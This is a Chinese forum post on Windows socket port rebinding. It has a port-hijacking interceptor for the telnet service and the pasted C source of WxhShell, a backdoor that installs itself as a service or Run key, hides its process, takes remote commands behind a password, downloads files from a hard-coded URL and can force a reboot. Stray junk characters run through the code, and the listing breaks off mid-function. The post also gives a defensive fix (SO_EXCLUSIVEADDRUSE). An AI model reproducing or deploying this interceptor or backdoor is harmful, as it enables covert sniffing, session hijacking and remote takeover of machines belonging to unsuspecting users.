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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <RzGxhT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P)bS ;w\(Y  
Bu4J8eLx  
  saddr.sin_family = AF_INET; PScq-*^  
T0Lh"_X3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); JD1IL` ta;  
9AQMB1D*v4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LlAMtw"  
'lwLe3.c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h">L>*Wfx  
F!m/n!YR  
  这意味着什么?意味着可以进行如下的攻击: 0c*y~hUVZ  
R zG7Xr=t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z9rmlVU6!  
$*EK v'g[n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d $~q  
\ci'Cbn\o  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C" vj#Tx  
ox9$aBjJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O_@  
~"-+BG(5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 > cFH=um  
os/_ObPiX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O3, IR1  
yu8xTh$:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k@QU<cvI  
V 2-fJ!  
  #include y" 4Nw]kU  
  #include ;Y<Hi\2oy  
  #include ^id9_RU   
  #include    YCJcDab  
  DWORD WINAPI ClientThread(LPVOID lpParam);   yTj!(C  
  int main() .Y!] {c  
  { @ 63Uk2{W>  
  WORD wVersionRequested; OhUEp g[  
  DWORD ret; rGjP|v@3^  
  WSADATA wsaData; iDp'M`(6h  
  BOOL val; i co%_fp  
  SOCKADDR_IN saddr; q1C) *8*g  
  SOCKADDR_IN scaddr; ry bs9:_}  
  int err; c s0;:H*N*  
  SOCKET s; 7R W5U'B  
  SOCKET sc; K/)*P4C-  
  int caddsize; ' fXBWi6  
  HANDLE mt; s^:8bFn9$  
  DWORD tid;   '~-JR>  
  wVersionRequested = MAKEWORD( 2, 2 ); Af'L=0  
  err = WSAStartup( wVersionRequested, &wsaData ); Z)=S. )  
  if ( err != 0 ) { Q4;eN w  
  printf("error!WSAStartup failed!\n"); 2flgfB}2k  
  return -1; 9='a9\((mH  
  } "VEA71  
  saddr.sin_family = AF_INET; 6:Eu[PE~w  
   >,JLYz|</  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e)Q{yO  
/]pBcb|<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .Pz( 0Y  
  saddr.sin_port = htons(23); X~ca8!Dq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6|# +  
  { f+*wDH  
  printf("error!socket failed!\n"); ){ywk  
  return -1; $nX4!X  
  } SRL`!  
  val = TRUE; sfLH[Q?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3awh>1N2 W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;%u'w;sgq  
  { +C`h*%BW  
  printf("error!setsockopt failed!\n"); Grot3a  
  return -1; gWlv;oq  
  } uK_Q l\d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gDY+'6m;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p72:oX\Q I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /`d|W$vN  
1Q$ePo   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) TQ-V61<5  
  { \?n4d#=$o  
  ret=GetLastError(); -Fi{[%&u  
  printf("error!bind failed!\n"); _FV<[x,nE8  
  return -1; )`Zj:^bz9  
  } 9wR-0E )  
  listen(s,2); vkFfHzR$  
  while(1) 6Xu^ cbD  
  { <>!Y[Xr^  
  caddsize = sizeof(scaddr); {z":hmt  
  //接受连接请求 N =k}"2_=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /]0-|Kg+R  
  if(sc!=INVALID_SOCKET) )HLe8:PG~  
  { #. mc+n:I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [(%6]L}  
  if(mt==NULL) ;W ZA  
  { m@Ziif-A  
  printf("Thread Creat Failed!\n"); ,k% \f]a  
  break; p#-;u1-B  
  } TDvUiJm  
  } 41\r7 BS  
  CloseHandle(mt); m 6V:x/'=  
  } +kh#Jq.  
  closesocket(s); 'g3!SdaLF  
  WSACleanup(); Fbvw zZ  
  return 0; )9(Mt _  
  }   v=-8} S  
  DWORD WINAPI ClientThread(LPVOID lpParam) Vfm (K  
  { &`` dI,NC  
  SOCKET ss = (SOCKET)lpParam; ho 5mH{"OV  
  SOCKET sc; YX||\  
  unsigned char buf[4096]; n veHLHvC7  
  SOCKADDR_IN saddr; k]J!E-yI8  
  long num; - v\n0Jt  
  DWORD val; &4g]#A>@  
  DWORD ret; !8cS1(a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 desrKnY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   eRI'pi[#.  
  saddr.sin_family = AF_INET; &C_0JyT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wi{qN___  
  saddr.sin_port = htons(23); yrp;G_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tt,<@U[/}  
  { P)h ZFX  
  printf("error!socket failed!\n"); J;?#Zt]`L  
  return -1; <r[5 S5y  
  } QG~4 <zy  
  val = 100; "rV-D1Dki  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =(!&8U9  
  { p&Os5zw;|  
  ret = GetLastError(); jzRfD3_s  
  return -1; fgmu*\x<  
  } Fpz)@0K;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Equj[yw%@  
  { /h)_Q;35S;  
  ret = GetLastError(); ]Q?`|a+i  
  return -1; -\Y"MwIED  
  } DK!QGATh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j3<|X  
  { 3<5E254N  
  printf("error!socket connect failed!\n"); P>*B{fi^  
  closesocket(sc); *aE/\b  
  closesocket(ss); #>I*c _-  
  return -1; vr/O%mDp  
  } RyI(6TZl  
  while(1) Gp0B^^H$  
  { v() wngn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qs96($  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .X D.'S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ch3{q/-g  
  num = recv(ss,buf,4096,0); &$\B&Hp@  
  if(num>0) E?L^ L3s  
  send(sc,buf,num,0); 6qCRM*V  
  else if(num==0) .@#GNZe  
  break; ]n8 5.DF  
  num = recv(sc,buf,4096,0); r8o9C  
  if(num>0) "OIra2O  
  send(ss,buf,num,0); 3LxhQVx2  
  else if(num==0)  >mk}  
  break; Ts+S>$  
  } Z6.0X{6nA  
  closesocket(ss); .?16w`Y  
  closesocket(sc); a>3#z2#  
  return 0 ; O WJv<3  
  } U Bo[iZ|%  
F&ud|X=m  
-r.Qy(}p  
========================================================== :h4Nfz(  
&#keI.,  
下边附上一个代码,,WXhSHELL q9cN2|:  
\Vc-W|e  
========================================================== 1@xmzTC  
byT@O:fL  
#include "stdafx.h" sZ-A~X@g  
{P/5cw  
#include <stdio.h> /QA:`_</oh  
#include <string.h> MLu@|Xgh  
#include <windows.h> QYm]&;EI  
#include <winsock2.h> /-in:gX8  
#include <winsvc.h> fyRSg B00$  
#include <urlmon.h> ({"jL*S,q  
|OgtAI9  
#pragma comment (lib, "Ws2_32.lib") I}?+>cf  
#pragma comment (lib, "urlmon.lib") 5_|Sm=  
XZ|%9#6  
#define MAX_USER   100 // 最大客户端连接数 G*oqhep  
#define BUF_SOCK   200 // sock buffer (%bqeI!ob  
#define KEY_BUFF   255 // 输入 buffer 676r0`  
vlygS(Y_7  
#define REBOOT     0   // 重启 X9|={ng)g#  
#define SHUTDOWN   1   // 关机 N ,8^AUJ3&  
_LVi}mM  
#define DEF_PORT   5000 // 监听端口 f Fr[ &\[  
?h7,q*rxk  
#define REG_LEN     16   // 注册表键长度 vz\^Aa #fv  
#define SVC_LEN     80   // NT服务名长度 Ng1{ NI+S  
 BZ'63  
// 从dll定义API 6k1;62Ntk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &d!Q%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a#U2y"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T-;|E^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ( 04clU^F  
LqDj4[}  
// wxhshell配置信息 ji8)/  
struct WSCFG { T>$S&U  
  int ws_port;         // 监听端口 ^ UB*Q  
  char ws_passstr[REG_LEN]; // 口令 &jbZL5  
  int ws_autoins;       // 安装标记, 1=yes 0=no (IE\}QcK  
  char ws_regname[REG_LEN]; // 注册表键名 I%8>nMTJ  
  char ws_svcname[REG_LEN]; // 服务名 ><l|&&e-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;J]Lzh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Eku+&f@RB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I1J/de,u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8p91ni'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bL6, fUS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w &b?ze{  
Hzn6H4Rc  
}; R6xJw2;_  
i]8+JG6  
// default Wxhshell configuration y3^>a5z!x  
struct WSCFG wscfg={DEF_PORT, ,MmX(O0  
    "xuhuanlingzhe",  D|8Pe{`  
    1, r+yl{  
    "Wxhshell", MBjo9P(  
    "Wxhshell", T@{ }!  
            "WxhShell Service", L/39<&W  
    "Wrsky Windows CmdShell Service", 'yIz<o  
    "Please Input Your Password: ", 8<2 [ F  
  1, B %L dH  
  "http://www.wrsky.com/wxhshell.exe", h#e((j3-2Z  
  "Wxhshell.exe" }$5e!t_K  
    }; \DgWp:|  
gq:2`W&5  
// 消息定义模块 x_k @hGSC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Omkpjr(1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aR c2#:~;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xy[*)<  
char *msg_ws_ext="\n\rExit."; ,`su0P\%#.  
char *msg_ws_end="\n\rQuit."; :S_3(/} \  
char *msg_ws_boot="\n\rReboot..."; JX $vz*KF  
char *msg_ws_poff="\n\rShutdown..."; Qf$3!O}G  
char *msg_ws_down="\n\rSave to "; pS) &d4i  
]b&"](A  
char *msg_ws_err="\n\rErr!"; #rps2nf.j  
char *msg_ws_ok="\n\rOK!"; v}>5!*  
I<&(Dg|XQ  
char ExeFile[MAX_PATH]; JKJ+RkXf3  
int nUser = 0; !! \O B6  
HANDLE handles[MAX_USER]; It@1!_tO2  
int OsIsNt; 6u6,9VG,  
J+]W*?m  
SERVICE_STATUS       serviceStatus; W "}Cfv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?h1r6?Sug{  
H[;\[ 3  
// 函数声明 m })EYs1  
int Install(void); DV6B_A{kI  
int Uninstall(void); kJfMTfl,  
int DownloadFile(char *sURL, SOCKET wsh); v ?OIK=Xm  
int Boot(int flag); p10i_<J]=  
void HideProc(void); v"~0 3-SX  
int GetOsVer(void); Y6R+i0guz  
int Wxhshell(SOCKET wsl); :wR aB7  
void TalkWithClient(void *cs); YU (|i}b  
int CmdShell(SOCKET sock); V\=QAN^  
int StartFromService(void); $={^':Uh  
int StartWxhshell(LPSTR lpCmdLine); *D_pFS^l  
{~=Z%Cj2Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BT3X7Cx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eGEeWJ}[$  
M{   
// 数据结构和表定义 ]NRQM8\  
SERVICE_TABLE_ENTRY DispatchTable[] =  FTk`Mq  
{ %s(Ri6R&  
{wscfg.ws_svcname, NTServiceMain}, D'UYHc {  
{NULL, NULL} =eB^( !M  
}; \0'0)@uziQ  
|GqKa  
// 自我安装 j_#oP  
int Install(void) xBevf&tP  
{ /bBFPrW  
  char svExeFile[MAX_PATH]; tAxS1<T4  
  HKEY key; ,|Xibfw  
  strcpy(svExeFile,ExeFile); { d*?O  
sDF5  
// 如果是win9x系统,修改注册表设为自启动 ~A-1x!YiU  
if(!OsIsNt) { M<KWx'uV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &.4m(ZX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iAd3w6  
  RegCloseKey(key); ^~65M/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9D+B~8[SQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rv^ \o  
  RegCloseKey(key); /^jV-Z`  
  return 0; w<54mGMOLr  
    } Ga9^+.j  
  } wFHz<i!jr&  
} r'/H3  
else { x]X!nx6G  
{r.yoI4e  
// 如果是NT以上系统,安装为系统服务 9[7Gxmf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "^3pP(8;~  
if (schSCManager!=0) P m}  
{ *(pmFEc  
  SC_HANDLE schService = CreateService X61p xPa  
  ( fg8"fbG`:  
  schSCManager, =w#sCy  
  wscfg.ws_svcname, uz8Y)b  
  wscfg.ws_svcdisp, /#]4lFk:h  
  SERVICE_ALL_ACCESS, x*}*0).  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `N,q~@gL  
  SERVICE_AUTO_START, 1TIP23:  
  SERVICE_ERROR_NORMAL, d#OE) ,`  
  svExeFile, Fb:Z.  
  NULL, ^7zXi xp  
  NULL, 54geU?p0  
  NULL, '*XX|\.  
  NULL, g,,'Pdd7Pn  
  NULL {;0+N -U  
  ); ? 016  
  if (schService!=0) }.$5'VGO  
  { s<;kTReA  
  CloseServiceHandle(schService); MNzWTn@  
  CloseServiceHandle(schSCManager); pndAXO:v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nYF;.k  
  strcat(svExeFile,wscfg.ws_svcname); )vcyoq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tI-u@ g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); re-;s  
  RegCloseKey(key); ^vQ,t*Uj=  
  return 0; }1)tALA  
    } g /v"E+  
  }  $w@0}5Q  
  CloseServiceHandle(schSCManager); ='"hB~[  
} hDsSOpj  
} r: :LQ$  
I_\#(  
return 1; =iEQE  
} `r$c53|<u  
k:JlC(^h  
// 自我卸载 cIJqF.k  
int Uninstall(void) 9R6]OL)p  
{ /O$7A7Tl  
  HKEY key; 6 $k"B/k  
E2Jmo5yJR  
if(!OsIsNt) { S~+er{,ht4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |[lmW%  
  RegDeleteValue(key,wscfg.ws_regname); BA 9c-Ay  
  RegCloseKey(key); Qe6'W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vXP+*5d/ K  
  RegDeleteValue(key,wscfg.ws_regname); =8!FY"c*  
  RegCloseKey(key); ]3/_?n-"`  
  return 0; {0t-Q k  
  } &P,z$H{o@  
} B{^ojV;]m  
} G7yR&x^  
else { [G=+f6 a  
^jiYcg@_[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <8[y2|UBt  
if (schSCManager!=0) wP: w8O  
{ f'>270pH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]LE  
  if (schService!=0) h jCkj(b  
  { 3tZC&!x?  
  if(DeleteService(schService)!=0) { K~I%"r|l  
  CloseServiceHandle(schService); sPod)w?e  
  CloseServiceHandle(schSCManager); D')m8:>  
  return 0; w.2[Xx~  
  } 9jC>OZ0s  
  CloseServiceHandle(schService); +"HLx%k  
  } F}C.F  
  CloseServiceHandle(schSCManager); TcP (?v  
} >2%*(nL  
} jZ5 mpYUO  
K\2UwX  
return 1; ;:/<XfZ  
} !pMp n%r<]  
PU\?eA  
// 从指定url下载文件 :qQpBr$  
int DownloadFile(char *sURL, SOCKET wsh) G+$A|'<`z  
{ 13X\PO'9  
  HRESULT hr; l^$8;$Rq  
char seps[]= "/"; PI5a 'k0F  
char *token; 7 z#Xf  
char *file; AdWLab;  
char myURL[MAX_PATH]; >n^| eAH  
char myFILE[MAX_PATH]; \>%.ktG  
wACx}'+M  
strcpy(myURL,sURL); av.L%l&d  
  token=strtok(myURL,seps); c@]_V  
  while(token!=NULL) sr*3uI-)L  
  { m/`"~@}&  
    file=token; Y9K$6lz  
  token=strtok(NULL,seps); -S7y1 )7  
  } NdlJdq  
F*bmV>Qq  
GetCurrentDirectory(MAX_PATH,myFILE); :*`5|'G}  
strcat(myFILE, "\\"); }z$_=v  
strcat(myFILE, file); [It E+{U  
  send(wsh,myFILE,strlen(myFILE),0); 1syI%I1  
send(wsh,"...",3,0); :k"VR,riF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3ZF-n`  
  if(hr==S_OK) =WYI|3~Cz  
return 0; *u|bmt  
else ?<l,a!V'6  
return 1; z'(][SB  
#RG/B2  
} )0Lno|l  
^Iz(V2  
// 系统电源模块 V\ 7O)g  
int Boot(int flag) ;Rz+4<  
{ ZMI!Sl  
  HANDLE hToken; 9AxeA2/X  
  TOKEN_PRIVILEGES tkp; KqE5{ q  
rerl-T<3  
  if(OsIsNt) { (q@DBb4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )G a%Eg9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _Kw<4 $0<p  
    tkp.PrivilegeCount = 1; B}(+\Q$I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [YsN c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2[#7YWs  
if(flag==REBOOT) { (eOzntp8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,Qd;t  
  return 0; 4Hk eXS.  
} <yxEGjm  
else { =xa:>Vh#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qNH= W?T8.  
  return 0; !D_Qat  
} C|@6rr9TA  
  } "8'aZ.P  
  else { %s^2m"ca}=  
if(flag==REBOOT) { ~; emUU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \G!TC{6  
  return 0; 2}ttC m  
} _aR_ [  
else { {!$E\e^d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iEtnwSt  
  return 0; C_&-2Z  
} ?(up!3S'x  
} /]mfI&l+9  
+;H-0Q5  
return 1; G<S(P@ss  
} RoG `U  
rr@S|k:|  
// win9x进程隐藏模块 ~ .FZF  
void HideProc(void) zB8 @Wl  
{ " ^t3VjN  
u+&t"B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &at^~ o  
  if ( hKernel != NULL ) }i"\?M  
  { S#kA$yO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '`/Qr~]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Vm_waa  
    FreeLibrary(hKernel); U^ec g{  
  } ,:Q+>h  
*kliI]B F]  
return; @Qlh  
} rYp]RX>  
 <|Pw*L$  
// 获取操作系统版本 x9,X0JO  
int GetOsVer(void) x8#bd{  
{ &L88e\ c+  
  OSVERSIONINFO winfo; zNu>25/)(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0#gu7n|J  
  GetVersionEx(&winfo); ^9{mjy0Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^F>C|FJ2  
  return 1; yc#0c[ZQu  
  else lji&]^1  
  return 0; ifA)Ppt<`  
} 8BL ]]gT-I  
*gq~~(jH  
// 客户端句柄模块 Z'vic#  
int Wxhshell(SOCKET wsl) O>5xFz'm  
{ PD- <D~7  
  SOCKET wsh; tSP)'N<  
  struct sockaddr_in client; n#{z"G  
  DWORD myID; Qx B0I/ {  
~HW}Wik  
  while(nUser<MAX_USER) -v '|#q  
{ ewOd =%  
  int nSize=sizeof(client); w?r   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D4@'C4kL  
  if(wsh==INVALID_SOCKET) return 1; &!@7+'])  
J6WyFtlyLc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^7q qO%  
if(handles[nUser]==0) #- l1(m  
  closesocket(wsh); +@U}gk;#c  
else  rq[+p  
  nUser++; d]89DdZk  
  } )_m#|U?Rex  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2|LgUA?<  
Ewfzjc  
  return 0; j9V*f HK  
} kw%vO6"q(  
N8]DW_bsB  
// 关闭 socket kM#ZpI&0%  
void CloseIt(SOCKET wsh) `t@Rh~B  
{ Pjs L{,  
closesocket(wsh); bJ~@ k,'  
nUser--; l,I[r$TCf  
ExitThread(0); 8&g`Uy/b  
} lg9`Z>?  
9S .J%*F7  
// 客户端请求句柄 ;tBc&LJ?  
void TalkWithClient(void *cs) j>OuNeo@4  
{ B 66-l!xa  
-f{NVX\<0  
  SOCKET wsh=(SOCKET)cs; yF~iVt  
  char pwd[SVC_LEN]; 6N6}3J5  
  char cmd[KEY_BUFF]; qu}&4_`%:V  
char chr[1]; 4 Qo(Wl  
int i,j; 3NLC~CJ  
^Yz.}a##w2  
  while (nUser < MAX_USER) { G2  
>ZE8EL  
if(wscfg.ws_passstr) { <~rf;2LZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /2<1/[#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y;.U-}e1  
  //ZeroMemory(pwd,KEY_BUFF); ,KfBG<3   
      i=0; ?qdZ]M4e  
  while(i<SVC_LEN) { M%\=Fb  
12Lc$\3P  
  // 设置超时 I6jDRC0<  
  fd_set FdRead; ?3I93Bt7  
  struct timeval TimeOut; F!LVyY"w  
  FD_ZERO(&FdRead); 8 2EH'C  
  FD_SET(wsh,&FdRead); l]bCt b%_  
  TimeOut.tv_sec=8; shn{]Y  
  TimeOut.tv_usec=0; @TvoCDeI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8 [z<gxP`?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K}r@O"6*\  
A9?h*/$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /]_a\x5Ss  
  pwd=chr[0]; ;RmL'  
  if(chr[0]==0xd || chr[0]==0xa) { rA">< pH  
  pwd=0; P B W.nm  
  break; B9Ha6kj  
  } }'"4q  
  i++; #dd-rooQuD  
    } tn"n~;Bh?:  
Hq>"rrVhx  
  // 如果是非法用户,关闭 socket T|/B}srm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O%$XgEJ8p  
} 0Rme}&$  
uoryxKRjc~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K|OowM4tv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]]InD N  
7AOjlC9R}  
while(1) { 2I!L+j_  
K F:W:8  
  ZeroMemory(cmd,KEY_BUFF); , :10  
Ja*k |Rz~  
      // 自动支持客户端 telnet标准   Q9[$ 8  
  j=0; .5t|FJ]`$  
  while(j<KEY_BUFF) { "G(^v?x:P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8|*=p4_fn  
  cmd[j]=chr[0]; !,I530eh7  
  if(chr[0]==0xa || chr[0]==0xd) { aDae0$lc.S  
  cmd[j]=0; P ]prrKZe,  
  break; f`[gRcZ-  
  } KBb{Z;%  
  j++; .3tyNjsn\  
    } _w'N&#  
09r0Rb  
  // 下载文件 jOE~?{8m  
  if(strstr(cmd,"http://")) { `X=2Ff  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5@:c6(5$  
  if(DownloadFile(cmd,wsh)) " iKX-VIl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TqZ&X| G  
  else DaK2P;WP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jgkJF[t`  
  } #Q6.r.3@x  
  else { cc$L56q  
W,g0n=2V  
    switch(cmd[0]) { #Fl5]> |  
  *1>zE>nlP  
  // 帮助 Bl >)GX\l  
  case '?': { s--\<v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =s\RK   
    break; :J'ibb1  
  } ,)CRozC\}K  
  // 安装 4;_<CB  
  case 'i': { o|FY-+  
    if(Install()) h|DKD.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RyJN=;5p  
    else [xrM){ItW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1\~-No  
    break; L, k\`9bQ  
    } gLH#UwfJ  
  // 卸载 M<s Y_<z  
  case 'r': { .2si[:_(p  
    if(Uninstall()) ]rhxB4*1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); og! d  
    else B F,rZZL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dp&bcR&#)  
    break; VgoN=S  
    } TsX(=N_  
  // 显示 wxhshell 所在路径 o C5}[cYD`  
  case 'p': { U'Xw'?Uj  
    char svExeFile[MAX_PATH]; mp\`9j+{  
    strcpy(svExeFile,"\n\r"); hlgBx~S[  
      strcat(svExeFile,ExeFile); |PI]v`[  
        send(wsh,svExeFile,strlen(svExeFile),0); z ]d^%>Ef  
    break; }`SXUM_sD`  
    } .\W6XRw  
  // 重启 `!K!+`Z9  
  case 'b': { #4iiY6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #]BpTpRAe<  
    if(Boot(REBOOT)) c T[.T#I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y'a(>s(  
    else { K?4/x4p@  
    closesocket(wsh); Pdg%:aY  
    ExitThread(0); a9OJC4\  
    } yXpU)|o  
    break; :*{>=BD  
    } CQLh;W`Dc  
  // 关机 XO=UKk+EK  
  case 'd': { R m{\ R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @rTAbEk{U  
